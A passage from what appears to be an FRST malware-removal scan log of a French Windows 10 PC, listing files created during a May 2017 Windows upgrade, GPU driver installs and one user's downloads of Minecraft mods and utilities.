2017-05-16 17:21 - 00050176 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\cldapi.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00050176 _____ (Microsoft Corporation) C:\WINDOWS\system32\catsrvps.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00047104 _____ (Adobe Systems) C:\WINDOWS\system32\atmlib.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00038912 _____ (Adobe Systems) C:\WINDOWS\SysWOW64\atmlib.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00035840 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\BasicRender.sys 2017-05-16 17:21 - 2017-05-16 17:21 - 00032004 _____ C:\WINDOWS\system32\edgehtmlpluginpolicy.bin 2017-05-16 17:21 - 2017-05-16 17:21 - 00029696 _____ (Microsoft Corporation) C:\WINDOWS\system32\odbcconf.dll 2017-05-16 17:21 - 2017-05-16 17:21 - 00027040 _____ (Microsoft Corporation) C:\WINDOWS\system32\browser_broker.exe 2017-05-16 17:21 - 2017-05-16 17:21 - 00025088 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\odbcconf.dll 2017-05-16 17:17 - 2017-03-17 23:48 - 00094720 _____ (Microsoft Corporation) C:\WINDOWS\system32\DxToolsReportGenerator.dll 2017-05-16 17:17 - 2017-03-17 23:08 - 17777152 _____ (Microsoft Corporation) C:\WINDOWS\system32\DXCaptureReplay.dll 2017-05-16 17:17 - 2017-03-17 23:05 - 00094720 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\DxToolsReportGenerator.dll 2017-05-16 17:17 - 2017-03-17 23:02 - 00393216 _____ (Windows (R) Win 7 DDK provider) C:\WINDOWS\system32\DXCpl.exe 2017-05-16 17:17 - 2017-03-17 22:59 - 00091136 _____ (Microsoft Corporation) C:\WINDOWS\system32\VsGraphicsProxyStub.dll 2017-05-16 17:17 - 2017-03-17 22:59 - 00079872 _____ (Microsoft Corporation) C:\WINDOWS\system32\VSD3DWARP12Debug.dll 2017-05-16 17:17 - 2017-03-17 22:57 - 00059392 _____ (Microsoft Corporation) C:\WINDOWS\system32\VSD3DWARPDebug.dll 2017-05-16 17:17 - 2017-03-17 22:53 - 00334848 _____ (Microsoft Corporation) C:\WINDOWS\system32\DXGIDebug.dll 2017-05-16 17:17 - 2017-03-17 22:52 - 04897280 _____ (Microsoft Corporation) C:\WINDOWS\system32\VsGraphicsRemoteEngine.exe 2017-05-16 17:17 - 2017-03-17 22:49 - 01309184 _____ (Microsoft Corporation) C:\WINDOWS\system32\d3d11_3SDKLayers.dll 2017-05-16 17:17 - 2017-03-17 22:49 - 00498176 _____ (Microsoft Corporation) C:\WINDOWS\system32\d2d1debug3.dll 2017-05-16 17:17 - 2017-03-17 22:48 - 13785600 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\DXCaptureReplay.dll 2017-05-16 17:17 - 2017-03-17 22:47 - 06806016 _____ (Microsoft Corporation) C:\WINDOWS\system32\d3d12warp.dll 2017-05-16 17:17 - 2017-03-17 22:46 - 00370176 _____ (Windows (R) Win 7 DDK provider) C:\WINDOWS\SysWOW64\DXCpl.exe 2017-05-16 17:17 - 2017-03-17 22:44 - 01977344 _____ (Microsoft Corporation) C:\WINDOWS\system32\DXToolsOfflineAnalysis.dll 2017-05-16 17:17 - 2017-03-17 22:44 - 01174528 _____ (Microsoft Corporation) C:\WINDOWS\system32\DXCap.exe 2017-05-16 17:17 - 2017-03-17 22:44 - 00283648 _____ (Microsoft Corporation) C:\WINDOWS\system32\VsGraphicsExperiment.dll 2017-05-16 17:17 - 2017-03-17 22:44 - 00163328 _____ (Microsoft Corporation) C:\WINDOWS\system32\VsGraphicsCapture.dll 2017-05-16 17:17 - 2017-03-17 22:43 - 00189952 _____ (Microsoft Corporation) C:\WINDOWS\system32\DXToolsMonitor.dll 2017-05-16 17:17 - 2017-03-17 22:43 - 00176128 _____ (Microsoft Corporation) C:\WINDOWS\system32\DXToolsReporting.dll 2017-05-16 17:17 - 2017-03-17 22:43 - 00061952 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\VSD3DWARP12Debug.dll 2017-05-16 17:17 - 2017-03-17 22:43 - 00041984 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\VsGraphicsProxyStub.dll 2017-05-16 17:17 - 2017-03-17 22:41 - 00058880 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\VSD3DWARPDebug.dll 2017-05-16 17:17 - 2017-03-17 22:39 - 00236544 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\DXGIDebug.dll 2017-05-16 17:17 - 2017-03-17 22:38 - 00348672 _____ (Microsoft Corporation) C:\WINDOWS\system32\perf_gputiming.dll 2017-05-16 17:17 - 2017-03-17 22:35 - 01060864 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\d3d11_3SDKLayers.dll 2017-05-16 17:17 - 2017-03-17 22:35 - 00430080 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\d2d1debug3.dll 2017-05-16 17:17 - 2017-03-17 22:33 - 05141504 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\d3d12warp.dll 2017-05-16 17:17 - 2017-03-17 22:33 - 03648000 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\VsGraphicsRemoteEngine.exe 2017-05-16 17:17 - 2017-03-17 22:30 - 01480704 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\DXToolsOfflineAnalysis.dll 2017-05-16 17:17 - 2017-03-17 22:30 - 00926208 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\DXCap.exe 2017-05-16 17:17 - 2017-03-17 22:30 - 00220160 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\VsGraphicsExperiment.dll 2017-05-16 17:17 - 2017-03-17 22:30 - 00123904 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\VsGraphicsCapture.dll 2017-05-16 17:17 - 2017-03-17 22:29 - 00145408 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\DXToolsMonitor.dll 2017-05-16 17:17 - 2017-03-17 22:29 - 00121344 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\DXToolsReporting.dll 2017-05-16 17:17 - 2017-03-17 22:25 - 00269824 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\perf_gputiming.dll 2017-05-16 17:16 - 2017-05-16 17:16 - 00008192 _____ C:\WINDOWS\system32\config\userdiff 2017-05-16 17:16 - 2017-05-16 16:28 - 00000000 ____D C:\WINDOWS\ServiceProfiles 2017-05-16 17:13 - 2017-05-16 17:22 - 00000000 ____D C:\Program Files\Hyper-V 2017-05-16 17:13 - 2017-05-16 17:13 - 00000000 ___SD C:\WINDOWS\system32\containers 2017-05-16 17:13 - 2017-05-16 17:13 - 00000000 ____D C:\WINDOWS\SysWOW64\XPSViewer 2017-05-16 17:13 - 2017-05-16 17:13 - 00000000 ____D C:\WINDOWS\system32\BestPractices 2017-05-16 17:13 - 2017-05-16 17:13 - 00000000 ____D C:\Users\Public\Documents\Hyper-V 2017-05-16 17:13 - 2017-05-16 17:13 - 00000000 ____D C:\Program Files\Reference Assemblies 2017-05-16 17:13 - 2017-05-16 17:13 - 00000000 ____D C:\Program Files\MSBuild 2017-05-16 17:13 - 2017-05-16 17:13 - 00000000 ____D C:\Program Files (x86)\Reference Assemblies 2017-05-16 17:13 - 2017-05-16 16:43 - 00000000 ____D C:\Program Files (x86)\MSBuild 2017-05-16 17:11 - 2017-02-10 12:26 - 01166520 _____ (Microsoft Corporation) C:\WINDOWS\system32\PresentationNative_v0300.dll 2017-05-16 17:11 - 2017-02-10 12:26 - 00124624 _____ (Microsoft Corporation) C:\WINDOWS\system32\PresentationCFFRasterizerNative_v0300.dll 2017-05-16 17:11 - 2017-02-10 12:26 - 00035480 _____ (Microsoft Corporation) C:\WINDOWS\system32\TsWpfWrp.exe 2017-05-16 17:11 - 2017-02-10 12:21 - 00778936 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PresentationNative_v0300.dll 2017-05-16 17:11 - 2017-02-10 12:21 - 00103120 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PresentationCFFRasterizerNative_v0300.dll 2017-05-16 17:11 - 2017-02-10 12:21 - 00035480 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\TsWpfWrp.exe 2017-05-16 17:05 - 2017-05-16 17:05 - 00001576 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Media Player.lnk 2017-05-16 16:39 - 2017-05-16 17:10 - 00000000 ____D C:\WINDOWS\system32\config\bbimigrate 2017-05-16 16:39 - 2017-05-16 16:39 - 00000000 ____D C:\ProgramData\USOShared 2017-05-16 16:32 - 2017-06-03 16:23 - 00000000 ____D C:\Users\Adélie 2017-05-16 16:32 - 2017-05-30 13:23 - 02170440 _____ C:\WINDOWS\system32\PerfStringBackup.INI 2017-05-16 16:32 - 2017-05-26 21:10 - 00000000 ____D C:\Users\benja 2017-05-16 16:32 - 2017-05-16 17:30 - 00000000 ____D C:\Users\Tim54 2017-05-16 16:32 - 2017-05-16 17:23 - 00000000 ____D C:\Users\Lucile 2017-05-16 16:32 - 2017-05-16 17:23 - 00000000 ____D C:\Users\Iris 2017-05-16 16:32 - 2017-05-16 17:21 - 00000000 ____D C:\Users\defaultuser0 2017-05-16 16:32 - 2017-05-16 16:32 - 01980900 _____ C:\WINDOWS\SysWOW64\PerfStringBackup.INI 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Tim54\Voisinage réseau 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Tim54\Voisinage d'impression 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Tim54\Modèles 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Tim54\Mes documents 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Tim54\Menu Démarrer 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Tim54\Documents\Mes vidéos 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Tim54\Documents\Mes images 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Tim54\Documents\Ma musique 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Tim54\AppData\Roaming\Microsoft\Windows\Start Menu\Programmes 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Tim54\AppData\Local\Historique 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Lucile\Voisinage réseau 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Lucile\Voisinage d'impression 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Lucile\Modèles 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Lucile\Mes documents 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Lucile\Menu Démarrer 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Lucile\Documents\Mes vidéos 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Lucile\Documents\Mes images 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Lucile\Documents\Ma musique 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Lucile\AppData\Roaming\Microsoft\Windows\Start Menu\Programmes 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Lucile\AppData\Local\Historique 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Iris\Voisinage réseau 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Iris\Voisinage d'impression 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Iris\Modèles 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Iris\Mes documents 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Iris\Menu Démarrer 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Iris\Documents\Mes vidéos 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Iris\Documents\Mes images 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Iris\Documents\Ma musique 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Iris\AppData\Roaming\Microsoft\Windows\Start Menu\Programmes 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Iris\AppData\Local\Historique 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\defaultuser0\Voisinage réseau 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\defaultuser0\Voisinage d'impression 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\defaultuser0\Modèles 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\defaultuser0\Mes documents 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\defaultuser0\Menu Démarrer 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\defaultuser0\Documents\Mes vidéos 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\defaultuser0\Documents\Mes images 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\defaultuser0\Documents\Ma musique 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\defaultuser0\AppData\Roaming\Microsoft\Windows\Start Menu\Programmes 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\defaultuser0\AppData\Local\Historique 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\benja\Voisinage réseau 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\benja\Voisinage d'impression 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\benja\Modèles 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\benja\Mes documents 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\benja\Menu Démarrer 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\benja\AppData\Roaming\Microsoft\Windows\Start Menu\Programmes 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\benja\AppData\Local\Historique 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Adélie\Voisinage réseau 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Adélie\Voisinage d'impression 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Adélie\Modèles 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Adélie\Mes documents 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Adélie\Menu Démarrer 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Adélie\Documents\Mes vidéos 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Adélie\Documents\Mes images 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Adélie\Documents\Ma musique 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Adélie\AppData\Roaming\Microsoft\Windows\Start Menu\Programmes 2017-05-16 16:32 - 2017-05-16 16:32 - 00000000 _SHDL C:\Users\Adélie\AppData\Local\Historique 2017-05-16 16:31 - 2017-06-03 15:40 - 00000000 ____D C:\ProgramData\NVIDIA 2017-05-16 16:31 - 2017-05-16 16:44 - 00000000 ____D C:\ProgramData\NVIDIA Corporation 2017-05-16 16:31 - 2017-05-01 22:52 - 00001951 _____ C:\WINDOWS\NvContainerRecovery.bat 2017-05-16 16:31 - 2017-05-01 22:51 - 06437312 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvcpl.dll 2017-05-16 16:31 - 2017-05-01 22:51 - 02479552 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvsvc64.dll 2017-05-16 16:31 - 2017-05-01 22:51 - 01762752 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvsvcr.dll 2017-05-16 16:31 - 2017-05-01 22:51 - 00548800 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nv3dappshext.dll 2017-05-16 16:31 - 2017-05-01 22:51 - 00392312 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvmctray.dll 2017-05-16 16:31 - 2017-05-01 22:51 - 00081856 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nv3dappshextr.dll 2017-05-16 16:31 - 2017-05-01 22:51 - 00069752 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvshext.dll 2017-05-16 16:31 - 2017-04-25 23:11 - 07944687 _____ C:\WINDOWS\system32\nvcoproc.bin 2017-05-16 16:31 - 2017-03-18 22:56 - 02233344 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PrintConfig.dll 2017-05-16 16:30 - 2017-05-16 16:43 - 00000000 ____D C:\Program Files\NVIDIA Corporation 2017-05-16 16:30 - 2017-05-16 16:43 - 00000000 ____D C:\Program Files (x86)\NVIDIA Corporation 2017-05-16 16:30 - 2017-05-16 16:30 - 00000000 ____D C:\WINDOWS\SysWOW64\RTCOM 2017-05-16 16:30 - 2017-05-16 16:30 - 00000000 ____D C:\Program Files\Realtek 2017-05-16 16:28 - 2017-06-03 12:03 - 00000000 ____D C:\WINDOWS\system32\SleepStudy 2017-05-16 16:28 - 2017-05-30 23:21 - 05531704 _____ C:\WINDOWS\system32\FNTCACHE.DAT 2017-05-16 14:44 - 2017-05-30 16:54 - 00000000 ___DC C:\WINDOWS\Panther 2017-05-16 14:39 - 2017-05-16 14:44 - 00000036 _____ C:\WINDOWS\progress.ini 2017-05-16 14:32 - 2017-05-16 17:38 - 00000000 ____D C:\Windows10Upgrade 2017-05-16 14:32 - 2017-05-16 17:37 - 00000000 ___HD C:\$GetCurrent 2017-05-16 14:32 - 2017-05-16 14:32 - 00000731 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Assistant Mise à niveau de Windows 10.lnk 2017-05-14 11:25 - 2017-05-14 11:25 - 02149827 _____ C:\Users\Adélie\Downloads\extrautilities-1.2.12.jar 2017-05-14 11:25 - 2017-05-14 11:25 - 01479759 _____ C:\Users\Adélie\Downloads\ExtraCells-1.7.10-2.3.14b197.jar 2017-05-13 16:40 - 2017-05-13 16:40 - 08830152 _____ (Famatech Corp. ) C:\Users\Adélie\Downloads\pscan24.exe 2017-05-13 16:40 - 2017-05-13 16:40 - 00000000 ____D C:\Users\Adélie\AppData\Local\Advanced Port Scanner 2 2017-05-13 13:32 - 2017-05-13 13:32 - 15023878 _____ C:\Users\Adélie\Downloads\EmbedMessageCreator-1.0-SNAPSHOT-jar-with-dependencies.jar 2017-05-13 12:13 - 2017-05-13 12:13 - 00005229 _____ C:\Users\Adélie\Downloads\media.svg 2017-05-12 17:29 - 2017-05-12 17:29 - 04994492 _____ C:\Users\Adélie\Downloads\BiblioCraft[v2.2.1][MC1.10.2].jar 2017-05-12 17:09 - 2017-05-12 17:09 - 01632454 _____ C:\Users\Adélie\Downloads\malisisdoors-1.10.2-5.2.0.jar 2017-05-12 15:48 - 2017-05-12 15:48 - 00153178 _____ C:\Users\Adélie\Downloads\malisisblocks-1.10.2-4.2.0.jar 2017-05-12 15:48 - 2017-05-12 15:48 - 00090911 _____ C:\Users\Adélie\Downloads\malisisswitches-1.10.2-3.2.0.jar 2017-05-12 15:47 - 2017-05-12 15:47 - 01633229 _____ C:\Users\Adélie\Downloads\malisisdoors-1.11.2-6.1.0.jar 2017-05-12 15:47 - 2017-05-12 15:47 - 00092102 _____ C:\Users\Adélie\Downloads\malisisswitches-1.11.2-4.1.0.jar 2017-05-12 15:45 - 2017-05-12 15:45 - 00906757 _____ C:\Users\Adélie\Downloads\malisiscore-1.10.2-4.4.0.jar 2017-05-11 18:26 - 2017-03-23 13:21 - 00000000 ____D C:\Users\Adélie\Downloads\mcedit2-win64-2.0.0-beta7 2017-05-11 18:25 - 2017-05-11 18:25 - 39249524 _____ (Igor Pavlov) C:\Users\Adélie\Downloads\mcedit2-win64-2.0.0-beta7.exe 2017-05-11 17:28 - 2017-03-04 08:26 - 00261632 ____N (Microsoft Corporation) C:\WINDOWS\system32\indexeddbserver.dll 2017-05-11 16:45 - 2017-05-11 16:46 - 00000000 ____D C:\Users\Adélie\Download 2017-05-10 22:47 - 2017-05-10 22:47 - 00001252 _____ C:\Users\benja\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Paramètres de sécurité et de confidentialité.lnk 2017-05-10 15:10 - 2017-05-10 15:10 - 00503634 _____ C:\Users\Adélie\ShadowMC-1.11.2-3.7.5.jar 2017-05-10 15:04 - 2017-05-10 15:04 - 00675988 _____ C:\Users\Adélie\Minecraft.exe 2017-05-10 15:00 - 2017-05-10 15:00 - 04641496 _____ C:\Users\Adélie\forge-1.10.2-12.18.3.2281-installer-win.exe 2017-05-10 14:55 - 2017-05-01 22:14 - 00134592 _____ (NVIDIA Corporation) C:\WINDOWS\SysWOW64\nvStreaming.exe 2017-05-10 14:54 - 2017-05-10 14:54 - 00000000 ____D C:\Program Files (x86)\VulkanRT 2017-05-10 14:54 - 2017-03-10 23:17 - 00536864 _____ C:\WINDOWS\system32\vulkan-1.dll 2017-05-10 14:54 - 2017-03-10 23:17 - 00525600 _____ C:\WINDOWS\SysWOW64\vulkan-1.dll 2017-05-10 14:54 - 2017-03-10 23:17 - 00254240 _____ C:\WINDOWS\system32\vulkaninfo.exe 2017-05-10 14:54 - 2017-03-10 23:17 - 00233760 _____ C:\WINDOWS\SysWOW64\vulkaninfo.exe 2017-05-10 14:48 - 2017-05-02 00:38 - 40201848 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvcompiler.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 35388864 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvoglv64.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 35281528 _____ (NVIDIA Corporation) C:\WINDOWS\SysWOW64\nvcompiler.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 28623480 _____ (NVIDIA Corporation) C:\WINDOWS\SysWOW64\nvoglv32.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 11056456 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvptxJitCompiler.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 11024384 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvcuda.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 10547440 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvopencl.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 09245744 _____ (NVIDIA Corporation) C:\WINDOWS\SysWOW64\nvcuda.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 09014792 _____ (NVIDIA Corporation) C:\WINDOWS\SysWOW64\nvptxJitCompiler.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 08805232 _____ (NVIDIA Corporation) C:\WINDOWS\SysWOW64\nvopencl.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 04092088 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvapi64.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 03792320 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvcuvid.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 03607464 _____ (NVIDIA Corporation) C:\WINDOWS\SysWOW64\nvapi.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 03247736 _____ (NVIDIA Corporation) C:\WINDOWS\SysWOW64\nvcuvid.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 01988032 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvdispco6438205.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 01600560 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvhdagenco6420103.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 01589696 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvdispgenco6438205.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 01054144 _____ (NVIDIA Corporation) C:\WINDOWS\system32\NvFBC64.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 00991168 _____ (NVIDIA Corporation) C:\WINDOWS\SysWOW64\NvFBC.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 00960960 _____ (NVIDIA Corporation) C:\WINDOWS\system32\NvIFR64.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 00911992 _____ (NVIDIA Corporation) C:\WINDOWS\SysWOW64\NvIFR.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 00688968 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvfatbinaryLoader.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 00577728 _____ (NVIDIA Corporation) C:\WINDOWS\SysWOW64\nvfatbinaryLoader.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 00218040 _____ (NVIDIA Corporation) C:\WINDOWS\system32\Drivers\nvhda64v.sys 2017-05-10 14:48 - 2017-05-02 00:38 - 00059448 _____ (NVIDIA Corporation) C:\WINDOWS\system32\Drivers\nvvhci.sys 2017-05-10 14:48 - 2017-05-02 00:38 - 00046008 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvhdap64.dll 2017-05-10 14:48 - 2017-05-02 00:38 - 00045061 _____ C:\WINDOWS\system32\nvinfo.pb 2017-05-10 14:48 - 2017-05-02 00:38 - 00000669 _____ C:\WINDOWS\SysWOW64\nv-vk32.json 2017-05-10 14:48 - 2017-05-02 00:38 - 00000669 _____ C:\WINDOWS\system32\nv-vk64.json 2017-05-10 14:32 - 2017-01-31 03:27 - 01983424 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvdispco6437857.dll 2017-05-10 14:32 - 2017-01-31 03:27 - 01591352 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvdispgenco6437857.dll 2017-05-10 14:31 - 2017-05-03 22:21 - 00175736 _____ (NVIDIA Corporation) C:\WINDOWS\system32\nvaudcap64v.dll 2017-05-10 14:31 - 2017-05-03 22:21 - 00143480 _____ (NVIDIA Corporation) C:\WINDOWS\SysWOW64\nvaudcap32v.dll 2017-05-10 14:31 - 2017-05-03 22:21 - 00048248 _____ (NVIDIA Corporation) C:\WINDOWS\system32\Drivers\nvvad64v.sys 2017-05-10 14:27 - 2017-05-10 14:28 - 399021200 _____ (NVIDIA Corporation) C:\Users\Adélie\378.57-desktop-notebook-win10-64bit-international.hf.exe 2017-05-10 12:24 - 2017-05-10 12:25 - 05127100 _____ C:\Users\Adélie\Downloads\LED_8.87.zip 2017-05-09 17:11 - 2017-05-09 17:11 - 00781253 _____ C:\Users\Adélie\Downloads\libtorrent-0.13.6.tar.gz 2017-05-07 15:31 - 2017-05-16 17:10 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\QGifer 2017-05-07 15:31 - 2017-05-07 15:31 - 00000000 ___HD C:\Program Files (x86)\InstallJammer Registry 2017-05-07 15:31 - 2017-05-07 15:31 - 00000000 ____D C:\Program Files (x86)\QGifer 2017-05-07 15:30 - 2017-05-07 15:30 - 14719153 _____ () C:\Users\Adélie\Downloads\QGifer-0.2.1-Setup.exe 2017-05-07 15:29 - 2017-05-07 15:29 - 08318063 _____ (Leapic Software ) C:\Users\Adélie\Downloads\video2gif.exe 2017-05-07 15:20 - 2017-05-07 15:39 - 429587997 _____ C:\Users\Adélie\Downloads\Spectre.FRENCH.DVDRIP.avi.mp4.crdownload 2017-05-07 14:44 - 2017-05-07 14:45 - 00000000 ____D C:\Utils 2017-05-07 14:44 - 2017-05-07 14:44 - 08824128 _____ C:\Users\Adélie\Downloads\apache-ant-1.10.1-bin.zip 2017-05-07 14:38 - 2017-05-07 14:38 - 06589953 _____ C:\Users\Adélie\Downloads\swt-4.4-win32-win32-x86_64.zip 2017-05-06 18:53 - 2017-05-06 18:53 - 09570876 _____ C:\Users\Adélie\Desktop\scenebuilder-all-8.3.0-all.jar 2017-05-06 18:53 - 2017-05-06 18:53 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Scene Builder 2017-05-06 14:45 - 2017-05-06 14:45 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\.mono 2017-05-06 14:45 - 2017-05-06 14:45 - 00000000 ____D C:\Users\Adélie\AppData\LocalLow\Blizzard Entertainment 2017-05-06 14:45 - 2017-05-06 14:45 - 00000000 ____D C:\ProgramData\.mono 2017-05-06 14:44 - 2017-05-06 14:44 - 00000000 ____D C:\Users\Adélie\AppData\Local\Blizzard 2017-05-06 11:56 - 2017-05-16 17:10 - 00000000 ____D C:\Users\Adélie\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\WinDirStat 2017-05-06 11:56 - 2017-05-16 17:10 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\CCleaner 2017-05-06 11:56 - 2017-05-06 11:56 - 00000863 _____ C:\Users\Public\Desktop\CCleaner.lnk 2017-05-06 11:56 - 2017-05-06 11:56 - 00000000 ____D C:\Program Files\CCleaner 2017-05-06 11:56 - 2017-05-06 11:56 - 00000000 ____D C:\Program Files 